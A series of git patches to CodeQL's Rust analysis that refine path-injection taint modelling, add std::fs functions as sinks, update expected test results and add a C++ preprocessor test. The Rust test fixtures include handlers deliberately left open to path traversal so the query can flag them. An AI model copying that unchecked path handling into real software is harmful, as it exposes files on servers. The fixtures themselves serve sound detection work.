b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml @@ -32,6 +32,3 @@ extensions: - ["lang:alloc", "::as_str", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:alloc", "::as_bytes", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:alloc", "<_ as crate::string::ToString>::to_string", "Argument[self]", "ReturnValue", "taint", "manual"] - # Result - - ["lang:core", "::unwrap", "Argument[self]", "ReturnValue", "taint", "manual"] - diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql index 47b71bd7c1f..016ef96fd10 100644 --- a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql +++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql @@ -16,6 +16,7 @@ import rust import codeql.rust.dataflow.DataFlow +import codeql.rust.dataflow.internal.DataFlowImpl as DataflowImpl import codeql.rust.dataflow.TaintTracking import codeql.rust.security.TaintedPathExtensions import TaintedPathFlow::PathGraph @@ -68,7 +69,10 @@ module TaintedPathConfig implements DataFlow::StateConfigSig { predicate isBarrier(DataFlow::Node node, FlowState state) { // Block `NotNormalized` paths here, since they change state to `NormalizedUnchecked` - node instanceof Path::PathNormalization and + ( + node instanceof Path::PathNormalization or + DataflowImpl::optionalStep(_, "normalize-path", node) + ) and state instanceof NotNormalized or node instanceof Path::SafeAccessCheck and @@ -78,7 +82,10 @@ module TaintedPathConfig implements DataFlow::StateConfigSig { predicate isAdditionalFlowStep( DataFlow::Node nodeFrom, FlowState stateFrom, DataFlow::Node nodeTo, FlowState stateTo ) { - nodeFrom = nodeTo.(Path::PathNormalization).getPathArg() and + ( + nodeFrom = nodeTo.(Path::PathNormalization).getPathArg() or + DataflowImpl::optionalStep(nodeFrom, "normalize-path", nodeTo) + ) and stateFrom instanceof NotNormalized and stateTo instanceof NormalizedUnchecked } diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected index a8833f62680..d34cd849069 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 8 | | Macro calls - total | 9 | | Macro calls - unresolved | 1 | -| Taint edges - number of edges | 1675 | +| Taint edges - number of edges | 1674 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected index 0b6cfe1341d..1826c323f44 100644 --- a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected +++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected @@ -9,7 +9,7 @@ edges | main.rs:5:17:5:45 | res | main.rs:5:25:5:44 | { ... } | provenance | | | main.rs:5:25:5:44 | ...::format(...) | main.rs:5:17:5:45 | res | provenance | | | main.rs:5:25:5:44 | ...::must_use(...) | main.rs:5:9:5:13 | regex | provenance | | -| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:71 | +| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:72 | | main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3022 | | main.rs:6:26:6:30 | regex | main.rs:6:25:6:30 | ®ex | provenance | | nodes diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected index df8778a66e0..b961a21506a 100644 --- a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected @@ -6,29 +6,29 @@ edges | src/main.rs:6:11:6:19 | file_name | src/main.rs:8:35:8:43 | file_name | provenance | | | src/main.rs:8:9:8:17 | file_path | src/main.rs:10:24:10:32 | file_path | provenance | | | src/main.rs:8:21:8:44 | ...::from(...) | src/main.rs:8:9:8:17 | file_path | provenance | | -| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:4 | +| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:5 | | src/main.rs:10:24:10:32 | file_path | src/main.rs:10:5:10:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | | src/main.rs:37:11:37:19 | file_path | src/main.rs:40:52:40:60 | file_path | provenance | | | src/main.rs:40:9:40:17 | file_path | src/main.rs:45:24:45:32 | file_path | provenance | | | src/main.rs:40:21:40:62 | public_path.join(...) | src/main.rs:40:9:40:17 | file_path | provenance | | -| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:3 | -| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:4 | +| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:4 | +| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:5 | | src/main.rs:45:24:45:32 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | | src/main.rs:50:11:50:19 | file_path | src/main.rs:53:52:53:60 | file_path | provenance | | -| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:29 | file_path | provenance | | +| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | provenance | MaD:3 | | src/main.rs:53:21:53:62 | public_path.join(...) | src/main.rs:53:9:53:17 | file_path | provenance | | -| src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:3 | -| src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:4 | +| src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:4 | +| src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:5 | | src/main.rs:54:9:54:17 | file_path | src/main.rs:59:24:59:32 | file_path | provenance | | -| src/main.rs:54:21:54:29 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) | provenance | Config | -| src/main.rs:54:21:54:44 | file_path.canonicalize(...) | src/main.rs:54:21:54:53 | ... .unwrap(...) | provenance | MaD:2 | +| src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | src/main.rs:54:21:54:53 | ... .unwrap(...) | provenance | MaD:2 | | src/main.rs:54:21:54:53 | ... .unwrap(...) | src/main.rs:54:9:54:17 | file_path | provenance | | | src/main.rs:59:24:59:32 | file_path | src/main.rs:59:5:59:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | models | 1 | Sink: lang:std; crate::fs::read_to_string; path-injection; Argument[0] | -| 2 | Summary: lang:core; ::unwrap; Argument[self]; ReturnValue; taint | -| 3 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | -| 4 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | +| 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 3 | Summary: lang:std; ::canonicalize; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)].OptionalStep[normalize-path]; taint | +| 4 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | +| 5 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | nodes | src/main.rs:6:11:6:19 | file_name | semmle.label | file_name | | src/main.rs:8:9:8:17 | file_path | semmle.label | file_path | @@ -49,8 +49,7 @@ nodes | src/main.rs:53:38:53:61 | ...::from(...) | semmle.label | ...::from(...) | | src/main.rs:53:52:53:60 | file_path | semmle.label | file_path | | src/main.rs:54:9:54:17 | file_path | semmle.label | file_path | -| src/main.rs:54:21:54:29 | file_path | semmle.label | file_path | -| src/main.rs:54:21:54:44 | file_path.canonicalize(...) | semmle.label | file_path.canonicalize(...) | +| src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | semmle.label | file_path.canonicalize(...) [Ok] | | src/main.rs:54:21:54:53 | ... .unwrap(...) | semmle.label | ... .unwrap(...) | | src/main.rs:59:5:59:22 | ...::read_to_string | semmle.label | ...::read_to_string | | src/main.rs:59:24:59:32 | file_path | semmle.label | file_path | From 2804c130279cb74e4c5eee7851535ed998f15e00 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 20 Mar 2025 11:36:50 +0100 Subject: [PATCH 023/121] Rust: use optionalBarrier --- .../rust/dataflow/internal/DataFlowImpl.qll | 2 -- .../codeql/rust/frameworks/stdlib/fs.model.yml | 4 ++-- .../src/queries/security/CWE-022/TaintedPath.ql | 2 +- .../dataflow/local/DataFlowStep.expected | 1 + .../security/CWE-022/TaintedPath.expected | 17 ++++++++--------- 5 files changed, 12 insertions(+), 14 deletions(-) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index bcb1a7bb9ff..9ece0bae058 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -1141,8 +1141,6 @@ private module OptionalSteps { cached predicate optionalStep(Node node1, string name, Node node2) { FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(), - TOptionalStep(name), node2.(FlowSummaryNode).getSummaryNode()) or - FlowSummaryImpl::Private::Steps::summaryStoreStep(node1.(FlowSummaryNode).getSummaryNode(), TOptionalStep(name), node2.(FlowSummaryNode).getSummaryNode()) } diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml index 03d41f2a78c..7b95c701e8b 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml @@ -16,5 +16,5 @@ extensions: - ["lang:std", "::from", "Argument[0]", "ReturnValue", "taint", "manual"] - ["lang:std", "::join", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:std", "::join", "Argument[0]", "ReturnValue", "taint", "manual"] - - ["lang:std", "::canonicalize", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].OptionalStep[normalize-path]", "taint", "manual"] - - ["lang:std", "::canonicalize", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["lang:std", "::canonicalize", "Argument[self].OptionalStep[normalize-path]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["lang:std", "::canonicalize", "Argument[self].OptionalBarrier[normalize-path]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql index 016ef96fd10..b0f59e8c24f 100644 --- a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql +++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql @@ -71,7 +71,7 @@ module TaintedPathConfig implements DataFlow::StateConfigSig { // Block `NotNormalized` paths here, since they change state to `NormalizedUnchecked` ( node instanceof Path::PathNormalization or - DataflowImpl::optionalStep(_, "normalize-path", node) + DataflowImpl::optionalBarrier(node, "normalize-path") ) and state instanceof NotNormalized or diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 386544b98d1..f7633aed33e 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -1,4 +1,5 @@ localStep +| file://:0:0:0:0 | [summary param] self in lang:std::_::::canonicalize | file://:0:0:0:0 | [summary] read: Argument[self].OptionalBarrier[normalize-path] in lang:std::_::::canonicalize | | main.rs:3:11:3:11 | [SSA] i | main.rs:4:12:4:12 | i | | main.rs:3:11:3:11 | i | main.rs:3:11:3:11 | [SSA] i | | main.rs:3:11:3:11 | i | main.rs:3:11:3:11 | i | diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected index b961a21506a..d85eed692f6 100644 --- a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected @@ -6,19 +6,19 @@ edges | src/main.rs:6:11:6:19 | file_name | src/main.rs:8:35:8:43 | file_name | provenance | | | src/main.rs:8:9:8:17 | file_path | src/main.rs:10:24:10:32 | file_path | provenance | | | src/main.rs:8:21:8:44 | ...::from(...) | src/main.rs:8:9:8:17 | file_path | provenance | | -| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:5 | +| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:4 | | src/main.rs:10:24:10:32 | file_path | src/main.rs:10:5:10:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | | src/main.rs:37:11:37:19 | file_path | src/main.rs:40:52:40:60 | file_path | provenance | | | src/main.rs:40:9:40:17 | file_path | src/main.rs:45:24:45:32 | file_path | provenance | | | src/main.rs:40:21:40:62 | public_path.join(...) | src/main.rs:40:9:40:17 | file_path | provenance | | -| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:4 | -| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:5 | +| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:3 | +| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:4 | | src/main.rs:45:24:45:32 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | | src/main.rs:50:11:50:19 | file_path | src/main.rs:53:52:53:60 | file_path | provenance | | -| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | provenance | MaD:3 | +| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | provenance | Config | | src/main.rs:53:21:53:62 | public_path.join(...) | src/main.rs:53:9:53:17 | file_path | provenance | | -| src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:4 | -| src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:5 | +| src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:3 | +| src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:4 | | src/main.rs:54:9:54:17 | file_path | src/main.rs:59:24:59:32 | file_path | provenance | | | src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | src/main.rs:54:21:54:53 | ... .unwrap(...) | provenance | MaD:2 | | src/main.rs:54:21:54:53 | ... .unwrap(...) | src/main.rs:54:9:54:17 | file_path | provenance | | @@ -26,9 +26,8 @@ edges models | 1 | Sink: lang:std; crate::fs::read_to_string; path-injection; Argument[0] | | 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 3 | Summary: lang:std; ::canonicalize; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)].OptionalStep[normalize-path]; taint | -| 4 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | -| 5 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | +| 3 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | +| 4 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | nodes | src/main.rs:6:11:6:19 | file_name | semmle.label | file_name | | src/main.rs:8:9:8:17 | file_path | semmle.label | file_path | From f5fe531ab6ff1811a3d9f5c1fbdfa711717fe643 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 20 Mar 2025 12:15:41 +0100 Subject: [PATCH 024/121] Rust: remove Stage::ref() trick --- .../codeql/rust/dataflow/internal/FlowSummaryImpl.qll | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll index 3497346a599..97c04517b35 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll @@ -54,7 +54,7 @@ module Input implements InputSig { RustDataFlow::ArgumentPosition callbackSelfParameterPosition() { result.isClosureSelf() } - ReturnKind getStandardReturnValueKind() { result = TNormalReturnKind() and Stage::ref() } + ReturnKind getStandardReturnValueKind() { result = TNormalReturnKind() } string encodeParameterPosition(ParameterPosition pos) { result = pos.toString() } @@ -197,12 +197,3 @@ module ParsePositions { i = AccessPath::parseInt(c) } } - -cached -module Stage { - cached - predicate ref() { 1 = 1 } - - cached - predicate backref() { optionalStep(_, _, _) } -} From efedfa1fe2ddefc12e1d4288477bb012a17732c8 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 20 Mar 2025 13:10:38 +0100 Subject: [PATCH 025/121] Rust: move optionalStep/Barrier predicates into Cached module --- rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index 9ece0bae058..b81158ca105 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -1127,12 +1127,7 @@ private module Cached { /** Holds if `n` is a flow sink of kind `kind`. */ cached predicate sinkNode(Node n, string kind) { n.(FlowSummaryNode).isSink(kind, _) } -} -import Cached - -cached -private module OptionalSteps { /** * A step in a flow summary defined using `OptionalStep[name]`. An `OptionalStep` is "opt-in", which means * that by default the step is not present in the flow summary and needs to be explicitly enabled by defining @@ -1155,4 +1150,4 @@ private module OptionalSteps { } } -import OptionalSteps +import Cached From b10a296a93eb46b8071d2139a6154af271514dc4 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 20 Mar 2025 13:40:34 +0100 Subject: [PATCH 026/121] Rust: add more path-injection sinks --- .../rust/frameworks/stdlib/fs.model.yml | 26 ++++++++++++++++ .../security/CWE-020/RegexInjection.expected | 6 ++-- .../security/CWE-022/rust-toolchain.toml | 8 +++++ .../query-tests/security/CWE-022/src/main.rs | 30 +++++++++++++++++-- 4 files changed, 65 insertions(+), 5 deletions(-) create mode 100644 rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml index 7b95c701e8b..c7fa7279330 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml @@ -7,7 +7,33 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["lang:std", "crate::fs::copy", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::copy", "Argument[1]", "path-injection", "manual"] + - ["lang:std", "crate::fs::create_dir", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::create_dir_all", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::hard_link", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::hard_link", "Argument[1]", "path-injection", "manual"] + - ["lang:std", "crate::fs::metadata", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::read", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::read_dir", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::read_link", "Argument[0]", "path-injection", "manual"] - ["lang:std", "crate::fs::read_to_string", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::remove_dir", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::remove_dir_all", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::remove_file", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::rename", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::rename", "Argument[1]", "path-injection", "manual"] + - ["lang:std", "crate::fs::set_permissions", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::soft_link", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::soft_link", "Argument[1]", "path-injection", "manual"] + - ["lang:std", "crate::fs::symlink_metadata", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "crate::fs::write", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "::create", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "::create", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "::create_buffered", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "::create_new", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "::open", "Argument[0]", "path-injection", "manual"] + - ["lang:std", "::open_buffered", "Argument[0]", "path-injection", "manual"] - addsTo: pack: codeql/rust-all diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected index 1826c323f44..430296c7c01 100644 --- a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected +++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected @@ -3,14 +3,14 @@ edges | main.rs:4:9:4:16 | username | main.rs:5:25:5:44 | MacroExpr | provenance | | | main.rs:4:20:4:32 | ...::var | main.rs:4:20:4:40 | ...::var(...) [Ok] | provenance | Src:MaD:62 | -| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1599 | +| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1625 | | main.rs:4:20:4:66 | ... .unwrap_or(...) | main.rs:4:9:4:16 | username | provenance | | | main.rs:5:9:5:13 | regex | main.rs:6:26:6:30 | regex | provenance | | | main.rs:5:17:5:45 | res | main.rs:5:25:5:44 | { ... } | provenance | | | main.rs:5:25:5:44 | ...::format(...) | main.rs:5:17:5:45 | res | provenance | | | main.rs:5:25:5:44 | ...::must_use(...) | main.rs:5:9:5:13 | regex | provenance | | -| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:72 | -| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3022 | +| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:98 | +| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3048 | | main.rs:6:26:6:30 | regex | main.rs:6:25:6:30 | ®ex | provenance | | nodes | main.rs:4:9:4:16 | username | semmle.label | username | diff --git a/rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml b/rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml new file mode 100644 index 00000000000..bd988b08396 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml @@ -0,0 +1,8 @@ +# This file specifies the Rust version used to develop and test the +# extractors written in rust. It is set to the lowest version of Rust +# we want to support. + +[toolchain] +channel = "nightly" +profile = "minimal" +components = [ ] diff --git a/rust/ql/test/query-tests/security/CWE-022/src/main.rs b/rust/ql/test/query-tests/security/CWE-022/src/main.rs index 8d182a91ca5..7c13da08db5 100644 --- a/rust/ql/test/query-tests/security/CWE-022/src/main.rs +++ b/rust/ql/test/query-tests/security/CWE-022/src/main.rs @@ -1,6 +1,6 @@ +#![feature(file_buffered)] use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result}; -use std::{fs, path::PathBuf}; - +use std::{fs, path::Path, path::PathBuf}; //#[handler] fn tainted_path_handler_bad( Query(file_name): Query, // $ Source=remote1 @@ -59,4 +59,30 @@ fn tainted_path_handler_folder_almost_good2( fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote5 } +fn sinks(path1: &Path, path2: &Path) { + let _ = std::fs::copy(path1, path2); // $ path-injection-sink + let _ = std::fs::create_dir(path1); // $ path-injection-sink + let _ = std::fs::create_dir_all(path1); // $ path-injection-sink + let _ = std::fs::hard_link(path1, path2); // $ path-injection-sink + let _ = std::fs::metadata(path1); // $ path-injection-sink + let _ = std::fs::read(path1); // $ path-injection-sink + let _ = std::fs::read_dir(path1); // $ path-injection-sink + let _ = std::fs::read_link(path1); // $ path-injection-sink + let _ = std::fs::read_to_string(path1); // $ path-injection-sink + let _ = std::fs::remove_dir(path1); // $ path-injection-sink + let _ = std::fs::remove_dir_all(path1); // $ path-injection-sink + let _ = std::fs::remove_file(path1); // $ path-injection-sink + let _ = std::fs::rename(path1, path2); // $ path-injection-sink + let _ = std::fs::set_permissions(path1, std::os::unix::fs::PermissionsExt::from_mode(7)); // $ path-injection-sink + let _ = std::fs::soft_link(path1, path2); // $ path-injection-sink + let _ = std::fs::symlink_metadata(path1); // $ path-injection-sink + let _ = std::fs::write(path1, "contents"); // $ path-injection-sink + let _ = std::fs::DirBuilder::new().create(path1); // $ path-injection-sink + let _ = std::fs::File::create(path1); // $ path-injection-sink + let _ = std::fs::File::create_buffered(path1); // $ path-injection-sink + let _ = std::fs::File::create_new(path1); // $ path-injection-sink + let _ = std::fs::File::open(path1); // $ path-injection-sink + let _ = std::fs::File::open_buffered(path1); // $ path-injection-sink +} + fn main() {} From 878e621a38d509573e571403fe3d11deb7c9266d Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 21 Mar 2025 09:46:54 +0100 Subject: [PATCH 027/121] Improved source location extraction for directive. --- .../preprocessor/preprocessor/pp.cpp | 5 +++++ .../preprocessor/preprocessor/preproc.expected | 16 +++++++++------- 2 files changed, 14 insertions(+), 7 deletions(-) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 651a1d7f28b..70dd8b02c0f 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -111,3 +111,8 @@ templateClassContext tcci; defined(BAZ) #define CONDITIONAL_MACRO_4 4 #endif + + +#if defined /* // test */ SIMPLE_COMMENT //this comment \ + (defined(SIMPLE_COMMENT)) spans over multiple lines +#endif diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index 0a472deafbe..52c68941732 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -38,25 +38,27 @@ | pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 69 | 1 | 69 | 21 | Macro | INSTANTIATION | | | pp.cpp:0:0:0:0 | pp.cpp | 72 | 1 | 72 | 11 | Macro | BAR | | -| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 13 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 15 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 18 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 45 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 84 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 83 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 15 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 17 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 90 | 1 | 90 | 6 | 